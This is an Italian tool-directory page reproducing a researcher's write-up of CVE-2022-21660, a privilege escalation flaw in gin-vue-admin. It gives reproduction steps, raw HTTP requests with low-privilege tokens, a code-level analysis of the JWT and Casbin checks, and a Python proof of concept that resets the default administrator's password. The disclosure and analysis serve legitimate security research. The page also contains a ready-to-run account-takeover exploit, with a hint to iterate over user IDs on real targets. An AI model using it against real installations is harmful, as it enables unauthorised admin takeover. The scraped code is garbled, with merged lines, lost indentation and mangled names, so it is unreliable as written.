Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Gin-Vue-admin-poc-CVE-2022-21660 — CVE-2022-21660 | Kitploit
Strumenti/GitHubGitHub/uzju/gin-vue-admin-poc-cve-2022-21660
Autenticazione e AutorizzazioneAnalisi delle VulnerabilitàAnalisi del CodiceSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubuzju/gin-vue-admin-poc-cve-2022-21660

Gin-Vue-admin-poc-CVE-2022-21660

CVE-2022-21660

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
28124 anni faRevisionato da Kitploit

Gin-Vue-admin - Analisi della vulnerabilità di escalation verticale dei privilegi e del codice - CVE-2022-21660

1. Prefazione

Benvenuti a tutti i grandi esperti, date una start a questo progetto.```http https://github.com/flipped-aurora/gin-vue-admin/

root@kitploit:~
![image-20211230151736779](https://assets.kitploit.com/production/public/readmes/21446/71b9c7be5f13561509daa3fc736b2aea1c17b75e10b235f8c2d5f0de659c3c66.png)

Dopo aver finito l'articolo, richiedere il CVE è stato un po' complicato, ma fortunatamente siamo riusciti a ottenerlo. Il personale di GitHub è stato reattivo.

> ps: prima di richiedere il CVE, abbiamo già presentato il CNVD

![image-20220107161655217](https://assets.kitploit.com/production/public/readmes/21446/51ecd3b8efcedb1fecf7b0d8264427765671259fae56a2f5321a4b58767dc74f/c4bc4bc93c1873f0c50d4ca2e7d7c96df00de3fe51f16d3c2f521893ece15b82-display-v1.webp)

### 2. Configurazione dell'ambiente

Seguendo il tutorial ufficiale```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git

Successivamente, entra nella directory server```bash go generate

root@kitploit:~
![image-20211230134341075](https://assets.kitploit.com/production/public/readmes/21446/d8f231abdbc0cea6288cbc17eefce6b29afcbfed204604de65a3b8c52ab6ad6e/ec800af00e34f058b162aaad63f41568403c7d3faa454995b819d195dc2e672f-display-v1.webp)```bash
go build -o server main.go 

Quindi basta eseguire direttamente il server

image-20211230134411233

Poi c'è il WEB, entra nella directory web e inserisci```bash cnpm install || npm install

root@kitploit:~
Poi basta aspettare

![image-20211230134632959](https://assets.kitploit.com/production/public/readmes/21446/ab6d47376ec0a1654914fab89718b1a9bf93e407e1ab96a3946c2f60a0b12ead/cd7c364c3a31d399033a3d8738976a6e2e3779f0269ee879617df328149e433c-display-v1.webp)

Successivamente, al termine dell'installazione, si aprirà automaticamente una pagina web

![image-20211230135126848](https://assets.kitploit.com/production/public/readmes/21446/e9f559f44a155a8aa121c39f3b218cac78a01fa26b481cf50e8020ea42529668.png)

![image-20211230135135212](https://assets.kitploit.com/production/public/readmes/21446/fdddc36fb55b29816c3e61125054370b2c799450c04d78a02fac4d33f569948c.png)

Successivamente, inizializza e imposta le informazioni del database

![image-20211230135407388](https://assets.kitploit.com/production/public/readmes/21446/13b356986b6faf82ee4208810f4dbf77ba245dc443e13c054f0cafb665c31f8c.png)

Dopo aver configurato, clicca su "Inizializza" e poi accedi

![image-20211230135437587](https://assets.kitploit.com/production/public/readmes/21446/9864349c21be1c8fa66de709f2e497834cfdf2f3233e286336fa02cdb5834466.png)

### 3. Riproduzione della vulnerabilità

### SetUserInfo presenta una vulnerabilità di privilegi verticali

##### 1. L'interfaccia SetUserInfo imposta in modo non autorizzato le informazioni personali dell'utente

Andiamo direttamente alla pagina di gestione utenti e aggiungiamo un ruolo utente con privilegi bassi

![image-20211230143853535](https://assets.kitploit.com/production/public/readmes/21446/acb51bc8ffff26bce3b7cf3956f9b38064871da099e64b3cdb3ab9c531d48da6.png)

Si può vedere che sopra non sono stati concessi privilegi di amministratore. Successivamente, crea un nuovo account e assegnalo a questo gruppo di ruoli

![image-20211230144026344](https://assets.kitploit.com/production/public/readmes/21446/c1e54b0502fe8b4dc83799856b01f4da02cc0f48d0e46fea1b577e050f99f3d2.png)

![image-20211230144005936](https://assets.kitploit.com/production/public/readmes/21446/c407678697464a33e6a879a627eea870a563a5ab0fd4e07b8ab357af4c0f75a9.png)

La vulnerabilità si trova alla riga 273 di https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go

![image-20211230141604735](https://assets.kitploit.com/production/public/readmes/21446/215bb4a987007cdb0a75e36ff67a217fd864a0aa9c53489f08d004f98ae6ac13.png)```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
	var user system.SysUser
	_ = c.ShouldBindJSON(&user)
	if err := utils.Verify(user, utils.IdVerify); err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	if err, ReqUser := userService.SetUserInfo(user); err != nil {
		global.GVA_LOG.Error("设置失败!", zap.Error(err))
		response.FailWithMessage("设置失败", c)
	} else {
		response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
	}
}

Qui non viene effettuata alcuna convalida dell'ID passato. L'ID rappresenta l'utente; se si passa direttamente un ID specifico, è possibile modificare le informazioni personali dell'utente corrispondente.

image-20211230141732113

Per prima cosa, usando il X-token dell'amministratore, modifichiamo il nome dell'utente con ID 1 in test1. Successivamente, possiamo vedere nel backend che l'ID dell'amministratore è stato modificato in test1.

image-20211230144216099

Ora prendiamo il token dell'account appena creato, UzJu_HxSecTeam, e lo sostituiamo per modificare il nome utente dell'amministratore in test2.

Per prima cosa, andiamo nella sezione "Informazioni personali > Modifica password" dell'account UzJu_HxSecTeam, modifichiamo la password a caso, quindi otteniamo il token dell'account.

image-20211230144321622

Questo token appartiene al ruolo con privilegi bassi. Normalmente, un utente con privilegi bassi non può modificare alcuna informazione di un amministratore.```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs

root@kitploit:~
Sostituiamo il Token e costruiamo i seguenti dati JSON.```json
{
  "id":1,
  "username":"test2",
  "nickName":"test2",
  "headerImg":""
}

image-20211230144527291

Sostituiremo il Token nell'interfaccia setUserinfo.```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin

{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}

root@kitploit:~
Successivamente, ci viene indicato che l'impostazione è riuscita

![image-20211230144654682](https://assets.kitploit.com/production/public/readmes/21446/78fb75b188079d7168b0de84800ee86520c4487ba9005a80a3b40e1bce1e82c9.png)

A questo punto, passiamo all'account amministratore e verifichiamo se è stato modificato in test2

![image-20211230144727266](https://assets.kitploit.com/production/public/readmes/21446/bfbb0ee0323bae425bcf381e3722f362b794f583cc2d84a12bb5334bfc91a7a3.png)

Si può vedere che l'utente amministratore è stato modificato con successo

##### 2. Violazione verticale dei privilegi tramite l'interfaccia SetUserInfo per modificare la password dell'amministratore senza condizioni

Durante il debug, è stato scoperto che nell'interfaccia setUserInfo, utilizzata per impostare le informazioni personali con violazione dei privilegi, non è possibile impostare solo id, username, nickname, headimg, ma in realtà è possibile passare anche parametri come password.

![image-20211230222713086](https://assets.kitploit.com/production/public/readmes/21446/e1019ad6b5613329887ed40e9e2f5f1eddaa1fba49cff851dd89f997db74670e.png)

Ad esempio, costruiamo una richiesta impostando il nome dell'utente con ID 1 come admin e il nickname come super utente amministratore.

![image-20211230222755083](https://assets.kitploit.com/production/public/readmes/21446/c379c4f7a1039625d62c90a0ace6a475cad615d8ff27bf7c508af0a4e04df48c.png)```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 91
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"Password":"qwe@123"
}

A questo punto la password dell'amministratore è stata modificata in qwe@123, prova ad accedere

image-20211230222853109

Successivamente il login riesce

image-20211230222906607

Modifica non autorizzata della password dell'utente tramite ChangPassword

PS: C'è un prerequisito: è necessario conoscere la password dell'utente di cui si vuole modificare la password

Innanzitutto sappiamo che la password predefinita di admin è 123456, a questo punto dobbiamo solo costruire i dati JSON e modificare il parametro username nei dati JSON con il nome dell'utente di cui vogliamo modificare la password in modo non autorizzato.

Per prima cosa accediamo con un account a bassi privilegi e modifichiamo la password una volta.

image-20211230145433929

Cattureremo una richiesta changePassword, quindi inseriremo questa richiesta nel Repeater.

image-20211230145506647

Successivamente, dobbiamo solo modificare il parametro username in admin.

image-20211230145615220

Successivamente verrà indicato che la modifica è riuscita, quindi utilizziamo la nuova password per accedere come admin.

image-20211230145704428

Successivamente il login riesce.

image-20211230145725332

La posizione della vulnerabilità si trova in https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go, riga 139```go // @Tags SysUser // @Summary 用户修改密码 // @Security ApiKeyAuth // @Produce application/json // @Param data body systemReq.ChangePasswordStruct true "用户名, 原密码, 新密码" // @Success 200 {string} string "{"success":true,"data":{},"msg":"修改成功"}" // @Router /user/changePassword [post] func (b *BaseApi) ChangePassword(c *gin.Context) { var user systemReq.ChangePasswordStruct _ = c.ShouldBindJSON(&user) if err := utils.Verify(user, utils.ChangePasswordVerify); err != nil { response.FailWithMessage(err.Error(), c) return } u := &system.SysUser{Username: user.Username, Password: user.Password} if err, _ := userService.ChangePassword(u, user.NewPassword); err != nil { global.GVA_LOG.Error("修改失败!", zap.Error(err)) response.FailWithMessage("修改失败,原密码与当前账户不符", c) } else { response.OkWithMessage("修改成功", c) } }

root@kitploit:~
> C'è una controversia: se conosci già la password dell'account di qualcun altro, non puoi semplicemente accedere al suo account? In effetti è così, ma il flusso logico del programma qui è: dopo aver completato l'autenticazione, normalmente l'utente corrente può solo modificare la propria password. Tuttavia, qui è possibile modificare quella degli altri cambiando l'ID. Da un altro punto di vista, potrebbe anche essere considerato un attacco di forza bruta, perché la pagina di login ha una verifica captcha.

### 四、Analisi del principio della vulnerabilità

> ps: Tutto il contenuto seguente proviene dalla comprensione di uno script kiddie che non ha mai studiato Go, né ha mai fatto sviluppo, sa solo Python.

Prima di tutto, dal punto di vista della logica aziendale normale, perché si verifica questa autorizzazione non autorizzata? In realtà il principio è abbastanza semplice. Principalmente perché quando creiamo un nuovo ruolo, ci sono alcuni parametri obbligatori. Sono proprio questi parametri che, una volta selezionati, danno all'utente la possibilità di superare i privilegi (ma non si può evitare di selezionarli, perché sono parametri obbligatori predefiniti). In realtà, alla fine, c'è un problema logico nel codice.

![image-20211230162340184](https://assets.kitploit.com/production/public/readmes/21446/20a1d4c86c7742b02ade2545ffc1d9daf09da8e36196c53f22e1c4c75cfcdc61.png)

Prima di tutto, vediamo: dopo aver creato un nuovo ruolo, visualizziamo i permessi del ruolo.

![image-20211230162510272](https://assets.kitploit.com/production/public/readmes/21446/f2200104b5e87458273e49a127381deb2caf6d8c18f47cebfec3f51c98ce7392.png)

Si può vedere che i permessi predefiniti per un nuovo utente, nel menu dei ruoli, hanno solo il permesso di accedere alla dashboard. Ma se guardiamo i permessi API del ruolo, scopriamo...

![image-20211230162602998](https://assets.kitploit.com/production/public/readmes/21446/a0ae26ec2f658f8410fabc66becd2404fa38bbb85dca5c907c56bd6cea19a82d.png)

Ci sono alcuni permessi obbligatori:

+ Registrazione utente
+ Impostazione informazioni utente
+ Ottenere le proprie informazioni
+ Modifica password
+ Modifica ruolo utente

Questa è anche la fonte della vulnerabilità. Prima di tutto, "Impostazione informazioni utente". Se deselezioniamo...

![image-20211230162752207](https://assets.kitploit.com/production/public/readmes/21446/e5c25385cc35a0ca2235648dae3cc8d23b15ca179ce73a3c7f477f635526abb6.png)

Poi inseriamo il token dell'account del gruppo di ruolo con privilegi bassi in Burp per testare.

![image-20211230163029027](https://assets.kitploit.com/production/public/readmes/21446/c082b88f880c845caa086ac66400d9969967c2c320572d1245b8c1987f264d6d.png)```http
PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 83
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"headerImg":""}

Si può vedere chiaramente che al momento non abbiamo i permessi per impostare queste informazioni utente, e nella pagina di Debug di Go è anche facile scoprire la logica del codice. Ad esempio, ora non abbiamo il permesso di impostare le informazioni utente, ma in teoria, nel codice, accedendo a questa interfaccia, il breakpoint di Debug dovrebbe poter intercettare, ma come mostrato nell'immagine seguente, dopo aver impostato il breakpoint, il programma non si è fermato.

image-20211230163258163

Da qui si può dedurre che prima di questa operazione dovrebbe esserci un'operazione di autenticazione (comune dovrebbe essere RBAC). Ora diamo al gruppo di ruoli a bassi privilegi il permesso di impostare gli utenti, e ripetiamo la richiesta per vedere.

image-20211230163401844

image-20211230163437975

Possiamo vedere che il programma si è fermato con successo qui. Quindi penso (da principiante di Go) che si potrebbe trovare l'autenticazione qui tramite Debug :)

Prima di tutto, su Mac, tasto Comando + clic sinistro del mouse per trovare dove viene chiamata questa funzione.

image-20211230172215924

Poi si può vedere che c'è una funzione InitUserRouter per inizializzare il router dell'utente.

image-20211230172303694

Allora continuo con il vecchio metodo: Comando + clic sinistro per determinare dove viene chiamato InitUserRoute.

image-20211230172756447

Qui si nota che c'è un JWTAuth() e un middleware.CasbinHandler()

Prima di tutto guardiamo middleware.JWTAuth(), ancora il vecchio metodo: Comando + clic sinistro.

image-20211230173029571

Poi arriviamo a un file jwt.go, la logica qui possiamo darle un'occhiata (ovviamente grazie all'autore per aver scritto alcuni commenti).

image-20211230173337186

In Go, token:= dovrebbe essere equivalente a definire una variabile per ricevere la x-token nell'header della richiesta. Prima di tutto si controlla se token è vuoto; se è vuoto, restituisce direttamente che l'utente non è loggato o l'accesso è illegale.

image-20211230173515740

Poi si controlla se il token dell'utente è nella blacklist. Qui dovrebbe essere determinato tramite cache o quando l'utente esce, per vedere se il token è già scaduto. Se è scaduto, restituisce un messaggio che informa l'utente di accesso da altra posizione o token non valido.

image-20211230173927005

Qui viene passato alla funzione ParseToken per analizzare il Token; possiamo seguirla.

image-20211230174153376

Non so cosa sia jwt.ParseWithClaims... Tradizione di famiglia, google.com.

image-20211230174335903

https://www.cnblogs.com/taoshihan/p/15239208.html

Qui viene usato per crittare e decrittare JWT, poi restituisce una SigningKey, e poi si continua.

Grazie per la correzione dell'autore: Qui si analizza la stringa del token JWT passata, si ottiene la struttura jwt.Token, quindi dalla struttura si estrae Claims per ottenere le informazioni utente montate sul token quando è stato generato in precedenza.

image-20211230180325474

Attraverso Google ho scoperto che ValidationErrorMalformed viene usato per determinare se il token è errato, poi ValidationErrorExpired per determinare se è scaduto, e poi ValidationErrorNotValidYet per determinare se il token è attivo, e poi restituisce. Anche se c'è ancora un pezzo di codice sotto.

image-20211230181012200

Poi si controlla se il token è scaduto; se non è scaduto, si passa a reload. Poi arriviamo a middleware.CasbinHandler().

image-20211230181206422

Prima si entra in utils.GetClaims e si passa un parametro.

image-20211230181333671

Questa funzione serve per ottenere x-token e poi analizzare il token per determinare se è scaduto, ecc.

image-20211230185043326

Poi si determina il ruolo dell'utente. Il 1234 qui è l'ID del gruppo di ruoli impostato nel web.

image-20211230185135662

image-20211230185217506

Poi si entra in casbinService.Casbin(). Tradizione di famiglia, vai su Baidu.

image-20211230185413430

Come ipotizzato in precedenza, controllo permessi RBAC, qui si connette al database, e poi qui ho provato a entrare con F7 passo-passo, ma mi ha respinto, non capisco.

image-20211230191210935

Guardando i commenti si può dedurre che qui si controllano i permessi.

Traduzione automatica: Enforce decide se un "subject" può accedere a un "object" con l'operazione "action", i parametri di input sono solitamente: (sub, obj, act).

Decide forzatamente se un "subject" può accedere a un "object" con l'operazione "action", i parametri di input sono solitamente: (sub, obj, act).

image-20211230191631807

Poi si controlla se è in ambiente di sviluppo, e success è uguale a false. Qui || significa "o", o successo o indica permessi insufficienti.

Vediamo come funziona l'interfaccia setuserinfo quando si hanno i permessi. Prima di tutto mettiamo un breakpoint nell'interceptor.

image-20211230214215348

Suggerimento: Attraverso Baidu ho scoperto che qui si usa il framework di controllo accessi Casbin di golang.

https://blog.csdn.net/qq_42015552/article/details/104013264

Poi mettiamo un breakpoint anche qui in setuserinfo.

image-20211230214247389

Poiché l'interceptor nella logica del programma viene prima di setuserinfo, iniziamo dalla chiamata dell'interceptor.

Dopo aver inviato la richiesta con Burp, aspettiamo. A questo punto eseguiamo il debug passo-passo per vedere.

image-20211230214329911

In questo momento il nostro gruppo di ruoli è 1234.

image-20211230214503883

Poi si connette al database, e successivamente controlla i permessi.

image-20211230215514485

image-20211230215532447

Qui restituisce true, indicando che il permesso esiste. Poi si controlla se è ambiente di sviluppo o se success è uguale a true; qui passerà sicuramente il primo if.

Poi si arriva all'interfaccia setuserinfo.

image-20211230220206889

shouldBindJson ha associato i parametri JSON.

image-20211230220707383

Poi qui, dovrebbe essere usato per verificare se i parametri JSON passati sono corretti.

image-20211230221153338

Sotto, direttamente, l'ID utente viene sostituito.

image-20220104134548099

Qui l'ID è quello passato dal frontend, può essere modificato arbitrariamente, causando così l'escalation dei privilegi.

image-20211230221415677

image-20211230221432290

Poi, dopo essere stato inserito nel database, viene aggiornato e restituito.

image-20211230221556509

Poi l'aggiornamento ha successo.

Le principali operazioni di autenticazione sono tutte nella funzione CasbinHandler del file cashbin.rbac.go, in particolare casbinService.Casbin() e e.Enforce(sub, obj, act).

La mia comprensione dell'escalation dei privilegi qui è: se viene dato il permesso di impostare le informazioni utente, per impostazione predefinita quell'utente può modificare le informazioni utente secondo le regole di permesso, e quando modifica, basta sostituire con l'ID di qualcun altro per modificare le informazioni altrui.

A questo punto si capisce: prima l'autenticazione controlla l'AuthorityId per determinare se l'utente ha il permesso di operare su una certa interfaccia.

image-20220104131901466

Ma in setuserinfo l'ID usato è l'ID dell'account utente.

image-20220104132137472

Quindi si verifica l'escalation, perché questo ID può essere controllato quando viene passato dal frontend, ed è già dopo l'autenticazione. Dopo aver comunicato con l'autore, ha spiegato che la correzione è semplice: basta forzare l'assegnazione di user.id all'ID del permesso corrispondente al JWT, così non si causerà escalation, perché non importa come il frontend lo passi, alla fine nel codice c'è una riga che modificherà il valore di user.id con l'ID corrispondente al JWT corrente.

Ma nella logica del flusso di business, questi permessi devono essere dati, perché altrimenti l'utente corrente non può modificare le proprie informazioni.

image-20220104135624752

5. Scrittura del POC```python

#!/usr/bin/env python

-- coding: UTF-8 --

''' @Project :UzJuSecurityTools @File :Gin-Vue-Admin-Poc.py @Author :UzJu @Date :2021/12/31 11:20 @Email :[email protected] '''

import requests import json import sys

class GinVueAdminPoc: def init(self, url, token): self.url = url self.jwt_token = token ''' define vuln interface ''' # Method PUT Severity High self.setUserInfo = "/api/user/setUserInfo" # Method POST Severity Moderate self.changePassword = "/api/user/changePassword"

root@kitploit:~
def checkVuln(self):
    '''
    因为默认管理员的用户ID为1,所以,这里直接修改ID为1的用户账号为admin,密码为qwe@123
    在实际使用中,可以通过遍历ID,来判断哪个ID用户存在,不过默认用户在实战中应该都是存在的
    The default user ID of the administrator is 1. Therefore, change the account of user 1 to admin and the password to qwe@123
    In practice, you can check which ID exists by iterating through the ID, but the default user should exist in practice
    '''
    payload_data = {
                        "id": 1,
                        "username": "admin",
                        "nickName": "超级管理员",
                        "Password": "qwe@123"
                    }
    # Change the administrator password to qwe@123, because the default administrator ID is 1
    headers = {
        "x-token": self.jwt_token
    }
    result = requests.put(url=self.url + self.setUserInfo,
                          headers=headers,
                          data=json.dumps(payload_data)
                          )
    if json.loads(result.content)['code'] == 7:
        print("[-]Modify the failure")
    elif json.loads(result.content)['code'] == 0:
        print(f"[+]Modify the success, Account: {payload_data['username']}, password: {payload_data['Password']}")

def check_interface_ChangePassword(self):
    '''
    wait
    '''
    pass

if name == 'main': try: Banner_2 = '''

root@kitploit:~
     /$$   /$$              /$$$$$          
    | $$  | $$             |__  $$          
    | $$  | $$ /$$$$$$$$      | $$ /$$   /$$
    | $$  | $$|____ /$$/      | $$| $$  | $$
    | $$  | $$   /$$$$/  /$$  | $$| $$  | $$
    | $$  | $$  /$$__/  | $$  | $$| $$  | $$
    |  $$$$$$/ /$$$$$$$$|  $$$$$$/|  $$$$$$/
     \______/ |________/ \______/  \______/                   
         Autor: UzJu   Email: [email protected]  GitHub: github.com/uzju  
    '''
    print(Banner_2)
    url = sys.argv[1]
    jwt_token = sys.argv[2]
    main = GinVueAdminPoc(url, jwt_token)
    main.checkVuln()
except:
    print("[-]please input url and token")
root@kitploit:~
Il motivo per cui il metodo check_interface_ChangePassword non è stato scritto è che si tratta di un'interfaccia di brute force, perché prima di modificare la password di qualsiasi utente, è necessario conoscere la password dell'account da modificare, il che è simile a un attacco di brute force, quindi non è stato scritto. Poi, per quanto riguarda il metodo checkvuln, l'id nei dati json di payload_data può essere effettivamente modificato arbitrariamente, e può anche essere scritto come un ciclo for per eseguire l'iterazione, perché nell'ambiente reale non si è certi che l'ID dell'amministratore sia 1, oppure se esiste una distruzione dolosa, può causare un certo impatto.

![image-20211231143107127](https://assets.kitploit.com/production/public/readmes/21446/3b2780b6dee596c6129292183ad4fcacab4167c400c5827adb7925a6185e8edc.png)

### 6. Richiesta CVE

> Non c'è bisogno di parlare del CNVD, è già stato inviato, qui si richiede il CVE.
> La richiesta tramite GitHub per ottenere un ID è molto veloce, al massimo 3 giorni, in questo caso è stato inviato lo stesso giorno e l'assegnazione preliminare del CVE è stata ricevuta nelle prime ore del giorno successivo.
> Le seguenti operazioni richiedono di contattare l'autore per eseguirle, altrimenti non si ha il pulsante 'New Draft security advisory'.

![image-20220107164730550](https://assets.kitploit.com/production/public/readmes/21446/133726a3f2309aed6a517e646e4f4b921a3ca2ceeeaa147dfe9a0a8515ef9207.png)

![image-20220107165445797](https://assets.kitploit.com/production/public/readmes/21446/f35ae5f108b77a841a7b3961c94e7f89535885505aadcfdd3011b671a2cf5d1f.png)

![image-20220107165519396](https://assets.kitploit.com/production/public/readmes/21446/4a15d060be13653a267fe20a7c7a119226cab32e5b04852375280ef1b77b5b60.png)

Scrivi nella Description il contenuto della vulnerabilità, il processo di riproduzione e il POC, poi clicca su 'Create draft security advisory'.

**Poiché era la prima volta che facevamo questa richiesta, abbiamo commesso un errore: abbiamo solo elencato una bozza senza inviare la richiesta, il che ci ha fatto aspettare invano per 7 giorni.**

![image-20220107165651894](https://assets.kitploit.com/production/public/readmes/21446/7131fd63bff3675f9f1e90709e4d7b271d261d6b34daa93f2d523a298522a2f8.png)

Dopo aver scritto, assicurati di scorrere fino in fondo e cliccare su 'Request CVE ID'.

![image-20220107165714011](https://assets.kitploit.com/production/public/readmes/21446/33f99cef9367fb123421c75786e4320f22b85e7c92b829653349ac74fc7ecea5.png)

![image-20220107165744293](https://assets.kitploit.com/production/public/readmes/21446/6c825102428e2d57120514254bf419322d5e40e83787a440a83797ee1a7e97ac.png)

> Articolo di riferimento: https://mp.weixin.qq.com/s/eGjDy20unW-fTiuSOOPgRg

### 7. Ringraziamenti

+ Sito del team dell'autore: https://github.com/flipped-aurora/
+ GitHub dell'autore: https://github.com/piexlmax
+ Indirizzo del progetto Gin-vue-admin: https://github.com/flipped-aurora/gin-vue-admin
Scarica lo strumento